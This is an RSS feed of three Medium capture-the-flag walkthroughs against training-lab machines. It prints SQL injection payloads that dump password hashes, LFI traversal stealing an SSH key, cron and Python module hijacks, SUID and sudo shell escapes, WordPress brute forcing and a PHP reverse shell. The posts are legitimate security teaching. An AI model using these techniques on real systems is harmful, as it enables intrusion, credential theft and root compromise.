<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Arysec on Medium]]></title>
        <description><![CDATA[Stories by Arysec on Medium]]></description>
        <link>https://medium.com/@arysec?source=rss-69cee40d8b7a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*cFhPYy10i6as8rUhYfL3ig.png</url>
            <title>Stories by Arysec on Medium</title>
            <link>https://medium.com/@arysec?source=rss-69cee40d8b7a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 18:53:22 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@arysec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Axiom Systems : SQL Injection Walkthrough]]></title>
            <link>https://medium.com/@arysec/axiom-systems-sql-injection-walkthrough-ad81b31fa22f?source=rss-69cee40d8b7a------2</link>
            <guid isPermaLink="false">https://medium.com/p/ad81b31fa22f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[walkthrough]]></category>
            <dc:creator><![CDATA[Arysec]]></dc:creator>
            <pubDate>Wed, 23 Sep 2026 13:37:54 GMT</pubDate>
            <atom:updated>2026-09-23T13:40:07.496Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*os4uublIl7kAZgJnsB9j8w.png" /></figure><h3>Axiom Systems : SQL Injection Walkthrough</h3><p>A lab that looks like a stripped-down internal operations tracker turns out to be sitting on a completely unsanitized numeric parameter. This write-up covers directory discovery, UNION-based SQL injection, database enumeration, and offline hash cracking to fully compromise the backend.</p><p><strong>Quick Info:</strong></p><ul><li>Lab: Axiom Systems</li><li>Platform: ThunderCipher</li><li>Difficulty: Easy</li><li>Category: Web Exploitation (SQL Injection)</li><li>Room Creator: Arysec Community</li><li>Room Link: https://thundercipher.in/room/151</li></ul><p><strong>STEPS</strong></p><p><strong>Step 1: Setup</strong></p><p>Connected to the lab network over OpenVPN, then hit &quot;Start Machine&quot; to spin up the target VM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8LSNu06ZXi54nsKD368JwQ.png" /></figure><p><strong>Step 2: Accessing the Target</strong></p><p>With the machine live, I browsed to its IP and landed on the front page of Axiom Systems Internal Operations Tracker v1.0.4, tagged as a &quot;temporary deployment.&quot; A banner claimed authentication servers were offline and the system was running in read-only guest mode, with a single option to proceed to the guest dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qDx2i_n4b7PMELNucCdxTg.png" /></figure><p><strong>Step 3: Enumeration</strong></p><p>The guest dashboard <em>(dashboard.php)</em> exposed a &quot;System Overview&quot; panel showing monitored devices, live system logs, and a Quick Search box for looking up &quot;internal legacy personnel &amp; assets.&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2C2DvVcL3HbxOw4EOeVTIQ.png" /></figure><p>Submitting a value from that box redirected to:</p><pre>search.php?id=&lt;value&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C88ywobvQlZDO-E9N_KZQA.png" /></figure><p>This looked like a textbook candidate for SQL injection, a raw numeric <strong>ID</strong> passed straight into a query with no visible sanitization.</p><p>Alongside the dashboard, browsing the webroot surfaced a <em>/backup/</em> directory that wasn’t linked anywhere in the UI, containing a leftover database dump:</p><pre>Index of /backup<br>db_backup.sql.bak</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eHda2eed0oWX1Eau6oCVjg.png" /></figure><p>That kind of forgotten backup file is often worth grabbing on its own.</p><p>Downloading and opening the file confirmed it was a raw SQL dump, and it leaked useful internal details, including the database name.</p><p><strong>Step 4: Confirming the Injection</strong></p><p>Rather than guessing blindly, fingerprint the number of columns returned by the query using ORDER BY:</p><pre>search.php?id=1 ORDER BY 6--</pre><p>This threw a database error (<em>Unknown column &#39;6&#39; in &#39;order clause’</em>), meaning the underlying query returns fewer than 6 columns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GA2HS9lgrbwb7qn8416ZzQ.png" /></figure><p><strong>Step 5: UNION-Based Enumeration</strong></p><p>With the column count established, I pivoted to UNION SELECT to pull data straight out of <strong>information_schema</strong> instead of the app’s normal tables:</p><pre>search.php?id=1 UNION SELECT 1,2,3,4,table_name FROM information_schema.tables--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o4BSe6G_2Ljeokxd0-dsxw.png" /></figure><p><strong>Step 6: Dumping Credentials</strong></p><p>With the column names known, I built a UNION query to dump the actual data:</p><pre>search.php?id=1 UNION SELECT 1,role,id,username,password_hash FROM users--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f9gfNVyGZSDYzRzikwY11g.png" /></figure><p><strong>Step 7: Cracking the Hashes</strong></p><p>Since the hashes were unsalted <strong>SHA-512</strong>, I ran them through an online hash-cracking service <em>(CrackStation)</em>. Both the operator and developer hashes came back as exact matches, recovering plaintext credentials for those accounts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sMCjBE0Mc9kWef2ePWq_fg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hlN0J7kweWA50SiMTMzPng.png" /></figure><p><strong>Step 8: Reaching the Vault Table</strong></p><p>Turning the same technique on the earlier <em>classified_vault</em> table, I enumerated its columns:</p><pre>search.php?id=1 UNION SELECT 1,2,column_name,id,flag_value FROM information_schema.columns WHERE table_name=&#39;classified_vault&#39;--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uajM8QacaUiOQHiCcisyhQ.png" /></figure><p>A final UNION query against the table itself pulled the vault’s contents directly the objective of the lab.</p><p><strong>Conclusion</strong></p><p>Axiom Systems is a clean demonstration of how a single unsanitized numeric parameter can cascade into full database compromise. Starting from a &quot;read-only guest&quot; landing page, a hidden backup directory hinted at the backend stack, ORDER BY fingerprinted the query shape, and UNION SELECT against information_schema turned that into a full schema map. From there, dumping the users table and cracking the resulting SHA-512 hashes handed over real application credentials, and repeating the same UNION technique against a non-standard classified_vault table exposed data that was never meant to be reachable from the search feature at all.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ad81b31fa22f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Room: Veratis Digital Archives (Walkthrough)]]></title>
            <link>https://medium.com/@arysec/tryhackme-room-veratis-digital-archives-walkthrough-37278e705b70?source=rss-69cee40d8b7a------2</link>
            <guid isPermaLink="false">https://medium.com/p/37278e705b70</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Arysec]]></dc:creator>
            <pubDate>Mon, 07 Sep 2026 13:13:45 GMT</pubDate>
            <atom:updated>2026-09-07T13:50:23.807Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-x26ZLd0v0CDg23QA7hkpA.png" /></figure><p>An elite corporate portal claims its sensitive records are locked down with enterprise-grade controls. This room covers LFI exploitation, SSH key theft, cron job hijacking, Python module hijacking, and SUID binary abuse to achieve full root compromise.</p><p><strong>Quick Info:</strong></p><ul><li>Room: Veritas Digital Archive</li><li>Room Link: https://tryhackme.com/room/veritasdigitalarchives</li><li>Difficulty: Medium</li><li>Category: Web Exploitation (LFI) / Linux Privilege Escalation</li><li>Time: ~60 minutes</li><li>Platform: TryHackMe</li><li>Room Creator: Rupesh Gupta (THM@Mr.RABBIT)</li></ul><p><strong>Step 1: Setup The Lab</strong></p><p>Start both the AttackBox and the Lab Machine from the TryHackMe room.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*yRQhrxXrxD3rjg8B_bqjPw.png" /></figure><p>Once the machine is running, note the target IP address.<br>For this walkthrough, the target was: 10.48.130.35 (**keep track of your own machine ip).</p><p>The target machine is now ready for reconnaissance.</p><p><strong>Step 2: Reconnaissance</strong></p><p>Before throwing raw payloads at a portal, it’s important to know what’s actually running.<br>I started with an Nmap service and version scan:</p><pre>nmap -sV -p 1-10000 10.48.130.35</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*j61kx6Qyy1HIoG3CdjI1gw.png" /></figure><p><strong>Results:</strong><br>Port 22 → OpenSSH 8.2p1 (Ubuntu)<br>Port 80 → Apache httpd 2.4.41 (Ubuntu)</p><p>Port 80 became the primary target for further enumeration.</p><p><strong>Step 3: Web Enumeration</strong></p><p>Opening the target in a browser showed the Veritas Archives Document Records Portal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BHIXQHwLjOg6kTllj0KZJA.png" /></figure><p>The page structure showed a &quot;View Document&quot; feature backed by:</p><pre>view.php?doc=&lt;filename&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nka-Aor57Ml-LmBZYXb7NA.png" /></figure><p>A directory brute-force against the target uncovered a hidden /backup directory used for storing old files.</p><pre>gobuster dir -u http://10.48.130.35 -w /usr/share/wordlists/dirbuster/common.txt</pre><p>Output:</p><pre>===============================================================<br>Gobuster v3.8.2<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://10.49.142.212<br>[+] Method:                  GET<br>[+] Threads:                 10<br>[+] Wordlist:                bin/common.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.8.2<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>.hta                 (Status: 403) [Size: 278]<br>.htpasswd            (Status: 403) [Size: 278]<br>.htaccess            (Status: 403) [Size: 278]<br>assets               (Status: 301) [Size: 315] [--&gt; http://10.49.142.212/assets/]<br>backup               (Status: 301) [Size: 315] [--&gt; http://10.49.142.212/backup/]<br>index.html           (Status: 200) [Size: 4177]<br>index.php            (Status: 200) [Size: 1510]<br>server-status        (Status: 403) [Size: 278]<br>Progress: 4774 / 4774 (100.00%)<br>===============================================================<br>Finished<br>===============================================================</pre><p>The doc parameter controls which file view.php displays and it doesn’t sanitize path traversal sequences.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*PMEJ6bWL85yDX6MJJiSBow.png" /></figure><p>Mixing ../ with . bypassed the site’s basic filename filter:</p><pre>http://10.48.130.35/view.php?doc=../../../../../etc/./passwd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*myUwbBEChWWT4jeK0JNKtQ.png" /></figure><p>This confirmed a Local File Inclusion (LFI) vulnerability.</p><p><strong>Step 4: Initial Access</strong></p><p>With arbitrary file read, the next objective was to find something usable for a shell not just information.</p><p>Since Apache was running as www-data, I checked the web user’s home/SSH directory:</p><pre>http://10.48.130.35/view.php?doc=../../../../../var/www/.ssh/id_rsa</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JG1OCNnt5hRre6ZBTEZXpA.png" /></figure><p>The private key then copied locally and saved:</p><pre>cat &gt; id_rsa &lt;&lt; &#39;EOF&#39;<br>-----BEGIN OPENSSH PRIVATE KEY-----<br>... (key contents) ...<br>-----END OPENSSH PRIVATE KEY-----<br>EOF<br>chmod 600 id_rsa</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Go3xVLhEqgE8a0wEgipEHg.png" /></figure><p>Then used it to SSH in as www-data:</p><pre>ssh -i id_rsa www-data@10.48.130.35</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l2vE0ZaKgTpPkN7eUjQw-g.png" /></figure><p><strong>Finding Flag 1</strong></p><pre>cat flag1.txt</pre><p><strong>Step 5: Horizontal Pivot (www-data → developer)</strong></p><p><em>www-data</em> is a low-privilege service account, so the next objective was lateral movement to a real user.<br>Checking system-wide scheduled tasks revealed a cron job:</p><pre>cat /etc/cron.d/developer_cleanup</pre><p>This showed a cleanup script owned and executed by the <em>developer</em> user:</p><pre>ls -la /opt/scripts/cleanup.sh</pre><p>Since cleanup.sh was world-writable, I generated a new SSH keypair and overwrote the script so that, when cron executed it as developer, it would drop my public key into developer’s authorized_keys:</p><pre>ssh-keygen -t rsa -f /tmp/dev_key -N &quot;&quot;<br>cat /tmp/dev_key.pub<br><br>cat &gt; /opt/scripts/cleanup.sh &lt;&lt; &#39;EOF&#39;<br>#!/bin/bash<br>mkdir -p /home/developer/.ssh<br>echo &quot;&lt;my-public-key&gt;&quot; &gt;&gt; /home/developer/.ssh/authorized_keys<br>chmod 700 /home/developer/.ssh<br>chmod 600 /home/developer/.ssh/authorized_keys<br>chown -R developer:developer /home/developer/.ssh<br>EOF</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZnG6F0DVTQ8TteFlgkRNqw.png" /></figure><p>After the cron job fired, I logged in as <em>developer</em>:</p><pre>ssh -i /tmp/dev_key developer@10.48.130.35</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IauuXbPHjrL-WuLJK1jcqA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z2iXa2hB0uwA1T_q_6qHkg.png" /></figure><p><strong>Finding Flag 2</strong></p><pre>ls<br>cat flag2.txt</pre><p><strong>Step 6: System Privilege Escalation (developer → sysadmin)</strong></p><p>As <em>developer</em>, I checked for sudo privileges:</p><pre>sudo -l</pre><p>This showed <em>developer</em> could run a Python script as <em>sysadmin</em> with NOPASSWD:</p><pre>(sysadmin) NOPASSWD: /usr/bin/python3 /opt/syschecks/check_status.py</pre><p>Reading the script revealed it imports a module by name only, with no fixed/absolute path:</p><pre>cat /opt/syschecks/check_status.py</pre><pre>import os<br>import status_logger<br><br>print(&quot;[*] Running system status diagnostic ... &quot;)<br>status_logger.check()</pre><p>Since Python looks in the current working directory for modules, I planted a malicious status_logger.py in the same writable directory:</p><pre>cat &gt; /opt/syschecks/status_logger.py &lt;&lt; &#39;EOF&#39;<br>import os<br>os.system(&quot;/bin/bash&quot;)<br>EOF</pre><p>Then triggered it via sudo:</p><pre>sudo -u sysadmin /usr/bin/python3 /opt/syschecks/check_status.py</pre><p>This dropped into a shell as <em>sysadmin</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FMfve9Jl9Ri9yQVH7evTsg.png" /></figure><p><strong>Finding Flag 3</strong></p><pre>ls home/sysadmin/<br>cat home/sysadmin/flag3.txt</pre><p><strong>Step 7: Root Privilege Escalation (sysadmin → root)</strong></p><p>The final objective was to escalate from <em>sysadmin</em> to <strong>root</strong>.</p><p>I searched for SUID binaries:</p><pre>find / -perm -4000 -type f 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n4NdypBj7vOWr_E3yF_vDQ.png" /></figure><p>A custom SUID binary stood out: /usr/local/bin/sys_find, owned by root with the setuid bit set:</p><pre>file /usr/local/bin/sys_find<br>ls -la /usr/local/bin/sys_find</pre><p>This is a custom find-style utility, so the classic GTFOBins find privilege escalation technique applies:</p><pre>/usr/local/bin/sys_find . -exec /bin/bash -p \;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QL6Prm55aLvSvsLGhlcwIQ.png" /></figure><p><strong>Root Flag:</strong></p><pre>cat root/root.txt</pre><p><strong>Conclusion</strong></p><p>Veritas Digital Archives demonstrates a complete web-to-root attack chain built entirely around trust and permission misconfigurations rather than memory-corruption exploits.<br>The machine began with a simple web portal claiming enterprise-grade security. Reconnaissance identified Apache and OpenSSH, and web enumeration uncovered a Local File Inclusion vulnerability in view.php. This LFI was leveraged to steal an SSH private key belonging to www-data, granting initial shell access.<br>From there, a world-writable cron script allowed a horizontal pivot to the developer account by hijacking a scheduled job. A misconfigured sudo rule combined with Python’s insecure module import path then allowed escalation to sysadmin. Finally, a custom SUID binary mimicking find was abused using the standard GTFOBins technique to spawn a root shell.<br>The machine was completed at 100%, capturing all four flags across the full privilege escalation chain: LFI → SSH key theft → cron hijack → Python module hijack → SUID abuse → root.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=37278e705b70" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Room: Frozen Assets (Walkthrough)]]></title>
            <link>https://medium.com/@arysec/tryhackme-room-frozen-assets-walkthrough-e15f43fc6da0?source=rss-69cee40d8b7a------2</link>
            <guid isPermaLink="false">https://medium.com/p/e15f43fc6da0</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Arysec]]></dc:creator>
            <pubDate>Wed, 02 Sep 2026 11:45:05 GMT</pubDate>
            <atom:updated>2026-09-06T09:39:41.700Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JHpul4s30-abvnl7Me_4RA.jpeg" /></figure><p>A beginner-friendly Linux Boot-to-Root room covering reconnaissance,</p><p>WordPress enumeration, credential discovery, initial access, credential reuse and Linux privilege escalation.</p><p><strong>Quick Info :</strong></p><ul><li>Room: Frozen Assets</li><li>Room Link: https://tryhackme.com/room/frozenassets</li><li>Difficulty: Easy / Beginner</li><li>Category: Linux / Web Exploitation / Privilege Escalation</li><li>Time: ~90 minutes</li><li>Platform: TryHackMe</li><li>Room Creator: Arysec Community</li></ul><p><strong>STEPS:</strong></p><p>Step 1 : Setup The Lab</p><p>Start both the AttackBox and the Lab Machine from<br>the TryHackMe room.<br>Once the machine is running, note the target IP<br>address.</p><p>For this walkthrough, the target was: 10.49.132.117</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xSceqT56c50w20QH2lRjsg.jpeg" /></figure><p>The target machine is now ready for reconnaissance.</p><p>Step 2: Reconnaissance</p><p>The first objective is to understand the target before<br>interacting heavily with the web application.<br>I started with an Nmap service and version scan:</p><pre>nmap -sV -p 1-10000 10.49.132.117</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*WyMH8bMpiiULjBgs17QxJA.jpeg" /></figure><p>The important discovery here was that SSH was running on a non-standard port.<br>Port 80 was running Apache, so the web application became the main target for further enumeration.</p><p>Step 3: Web Enumeration</p><p>Opening the target in a browser showed a website called ColddBox.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WZhWIdCF6zif6IGX38HGCQ.jpeg" /></figure><p>The page source, links and application structure were inspected to identify the technology being used.<br>The site was running WordPress.<br>The next objective was therefore to enumerate WordPress users.</p><p><strong>Enumerating WordPress Users</strong><br>WPScan was used to enumerate valid WordPress usernames:</p><pre>wpscan –url http://10.49.132.117 –enumerate u</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0uWIEuqOx34I3jXyUypIuA.jpeg" /></figure><p>The enumeration identified three users:</p><p>c0ldd<br>hugo<br>philip<br>The account c0ldd appeared to be the most interesting account,<br>so it was selected for the next stage.</p><p><strong>Finding the Password</strong></p><p>A password attack was performed against the c0ldd<br>WordPress account using the RockYou wordlist:</p><pre>wpscan --url http://10.49.132.117 -U c0ldd -P /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*rO6vL4KN797cXDkKWY0vjA.jpeg" /></figure><p>The valid credentials were discovered.<br>The original room result confirmed that the recovered<br>password was associated with the c0ldd account.<br>Username: c0ldd<br>Password: 9876••••••</p><p>Step 4: Initial Access</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4dG3PMvU-btKBRNAeI8Rrg.jpeg" /></figure><p>The administrative interface provided access to the active<br>WordPress theme.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rAqxGhIIvYoq1t8kfg6lAg.jpeg" /></figure><p>The administrative interface provided access to the active WordPress theme.<br>The next objective was to determine whether a PHP file within the theme could be modified.</p><p><strong>Modifying </strong><em>header.php</em></p><p>Navigate to: Appearance → Theme Editor<br> Then Select : <em>header.php</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gy5HQ5O1yOmnc3qeAoylrA.jpeg" /></figure><p>The important observation is that header.php is interpreted as PHP<br>by the web server.<br>Therefore, if PHP code is inserted into this file and the file is requested by the server, the inserted code can execute.</p><p><strong>Getting a PHP Reverse Shell</strong></p><p>For the reverse shell, the commonly used pentestmonkey PHP <br>reverse shell was used.</p><p>Reference –<br>https://github.com/pentestmonkey/php-reverse-shell</p><p>The reverse-shell file was adapted for the lab by changing the <br>callback IP and listening port.<br>The listener was started on the attacker machine:</p><pre>nc -lvnp 8000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*eBSjAcai-r3vvn6vKVeS6A.jpeg" /></figure><p>The payload was then placed into: <em>header.php</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GtD5AK6j5ahC2brWttKUdA.jpeg" /></figure><p>Scroll down, update the file.<br>Requesting the modified PHP file caused the target to connect back to<br>the listener. (reload the home page)<br><strong>Catching the Reverse Shell</strong><br>The listener received a connection from the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XDNTCFRdS8-yDN_WFOuOgA.jpeg" /></figure><p>This is a low-privileged web-server account.<br>The shell therefore provided initial access, but it was not yet a privileged account.</p><p>Step 5: Post-Exploitation</p><p>Now that access to the target had been obtained, the next<br>objective was local enumeration.<br>Since the application was WordPress, one of the first files worth checking was: <em>wp-config.php</em><br>This file commonly contains database connection information.</p><p>Run:</p><pre>cat var/www/html/wp-config.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*fbhw3s4ja7M8zbT14xx7ow.jpeg" /></figure><p>The configuration file contained database credentials.<br>The important discovery was that the database username matched an actual Linux user on the machine.<br>This suggested that the recovered credentials might be reusable for local<br>authentication.</p><p><strong>Upgrading the Shell</strong></p><p>The discovered credentials were used to switch to the local c0ldd account:</p><pre>su c0ldd</pre><p>Enter the recovered password when prompted.<br>Shell changed from www-data → c0ldd<br><strong>Finding the User Flag</strong><br>Once logged in as c0ldd, the home directory was inspected.</p><pre>cat home/c0ldd/user.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*h4RBmIYyDUWfTeurYSB8Tg.jpeg" /></figure><p>The flag was stored in Base64-encoded form.<br>The value can be decoded with:</p><pre>echo ‘&lt;BASE64_VALUE&gt;’ | base64 -d</pre><p>The decoded message confirmed that the first level had been completed.</p><p>Step 6: Privilege Escalation</p><p>The next objective was to escalate from the local c0ldd account to root.<br>The first step was to check which commands could be executed with elevated privileges.</p><p>Run:</p><pre>sudo -l</pre><p>The output showed that the c0ldd user could execute certain binaries as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*wRyjada6q4XY5M3xMlVIZA.jpeg" /></figure><p><strong>Searching GTFOBins</strong><br>GTFOBins is useful when investigating Unix binaries that have potentially<br>dangerous behavior when executed with elevated privileges.</p><p>Reference : https://gtfobins.org/</p><p>Searching for the ftp binary showed that it could be abused to obtain a shell when executed with elevated privileges.</p><p><strong>Exploiting FTP</strong></p><p>Run:</p><pre>sudo ftp</pre><p>Inside the FTP prompt, use the shell escape:</p><pre>!/bin/sh</pre><p>Then verify the current user:</p><pre>whoami</pre><p>The result: <strong>root</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*Y0vRssw9GWvDuUIdRx7RFw.jpeg" /></figure><p><strong>Root Flag</strong><br>Once the root shell was obtained, the final flag was located at:</p><pre>cat root/root.txt</pre><p>Result : &lt;base64encodedflag&gt;</p><p>The successful root shell confirmed completion of the machine.</p><p><strong>Conclusion</strong><br>Frozen Assets demonstrates a complete Linux Boot-to-Root<br>methodology.<br>The machine began with only a target IP address. Through<br>systematic enumeration, the exposed services were<br>identified, WordPress was fingerprinted, users were<br>enumerated, credentials were discovered, and administrative<br>access was obtained.<br>The WordPress Theme Editor then provided a route to PHP<br>code execution and a reverse shell as www-data.<br>Further local enumeration exposed credentials in wp-<br>config.php, allowing a pivot to the c0ldd Linux account.<br>Finally, sudo -l revealed an unsafe privilege configuration. The permitted ftp binary could be abused using the technique documented by GTFOBins, resulting in a root shell.<br>The machine was therefore completed at 100%.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e15f43fc6da0" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>